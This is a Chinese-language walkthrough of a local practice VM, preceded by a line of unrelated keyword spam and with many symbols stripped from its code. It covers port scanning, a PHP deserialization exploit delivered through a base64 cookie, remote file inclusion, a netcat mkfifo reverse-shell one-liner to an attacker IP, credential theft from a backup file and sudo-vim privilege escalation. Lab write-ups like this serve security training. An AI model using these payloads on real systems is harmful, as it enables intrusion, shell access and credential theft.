帝国cms 关闭网站,重庆广告公司十大排名,自动优化app,电子商务网站的主题及建设目标一、安装靶机
首先创建新的虚拟机。 然后选择客户机版本为Ubuntu 64位。 然后选择使用现有磁盘#xff0c;选择下载的vmdk磁盘文件即可。剩下的都是默认 二、信息收集
发现主机192.168.204.143 访问 扫描端口nmap -A 192.168.204.143 -p-#xff0c;发现只有ssh:22和http:8…一、安装靶机
首先创建新的虚拟机。 然后选择客户机版本为Ubuntu 64位。 然后选择使用现有磁盘选择下载的vmdk磁盘文件即可。剩下的都是默认 二、信息收集
发现主机192.168.204.143 访问 扫描端口nmap -A 192.168.204.143 -p-发现只有ssh:22和http:80服务的端口 扫描目录 Index.php我们已经访问过了所以我们访问另一个 点击bak.zip给我下载到了本地打开发现三个php文件解压打开 打开文件发现unserialize()反序列函数通过代码审计发现有用户传入的参数有可能是php反序列化漏洞 三、漏洞利用
对index页面抓包 将cookiebase64解密之后确实是序列化 之后便是分析php文件找pop链感觉代码放这里看不明显直接上截图
cookie有值就直接反序列化这里包含了uesr.class.php文件去看一下 uesr.class.php文件 log.class.php 构造exp记住所有变量前用public修饰
?phpclass Log {public $type_log /etc/passwd ;}class User {public $name;public $wel;function __construct($name) {$this-name $name;$this-wel new Log();}}$us new User(sk4);print_r(serialize($us));?
得到 O:4:User:2:{s:4:name;s:3:sk4;s:3:wel;O:3:Log:1:{s:8:type_log;s:11:/etc/passwd;}}之后去base64编码之后赋值给cookie成功执行 四、获取shell
因为这样执行命令不太方便我们可以换一种方式在本地打开web服务写个命令执行代码,写到www文件夹里的3.php里面访问该文件http://192.168.3.46/3.php
尝试看能不能远程包含 修改type_log的值将运行的结果base64编码改cookie成功访问证明可以远程包含 发现一直报错显示无法执行空逗号我那时候还在疑惑为什么不行试了很久发现是包含文件是php形式的错包含的文件会先自己进行解析这里是test.php会先按php进行解析解析之后的内容再到包含文件的地方按它那里的格式进行解析这里是php文件按php解析因此这里test.php先解析的时候$_GET[x]没有值因此报错而按txt解析的时候不会报这个错误因为被当做字符串 将test.php换为test.txt之后重新序列化编码写入cookie参数发现成功执行 添加反弹shell:
rm/tmp/f%3bmkfifo/tmp/f%3bcat/tmp/f|/bin/sh-i2%261|nc192.168.204.1364444/tmp/f
没有回应但反弹shell成功 五、提权
执行whoami发现是www-data用户查看根目录下的文件发现敏感文件credentials.txt.bak我们查看一下 查看文件获取到一个用户名和密码 我们前面信息收集的时候发现22端口是打开的我们ssh远程登陆一下输入靶机的ip再输入我们刚刚得到用户名和密码登陆 尝试提权试试sudo vim进入到命令模式输入!bash 提权成功